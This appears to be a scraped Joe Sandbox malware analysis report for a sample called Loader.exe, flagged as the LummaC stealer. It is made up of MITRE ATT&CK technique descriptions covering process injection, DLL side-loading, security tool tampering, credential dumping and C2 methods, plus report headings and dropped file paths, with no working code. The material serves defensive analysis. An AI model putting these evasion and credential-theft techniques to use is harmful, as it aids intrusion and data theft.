Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Loader.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Loader.exe.log

C:\Users\user\AppData\Roaming\gdi32.dll

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
Loader.exe

Function 6CE26E60 Relevance: 20.4, APIs: 2, Strings: 9, Instructions: 1195
COMMON

Function 6CE4EA5E Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Function 6CE4EB0E Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Function 6CE4E957 Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Function 6CE395F0 Relevance: 14.9, Strings: 11, Instructions: 1156
COMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre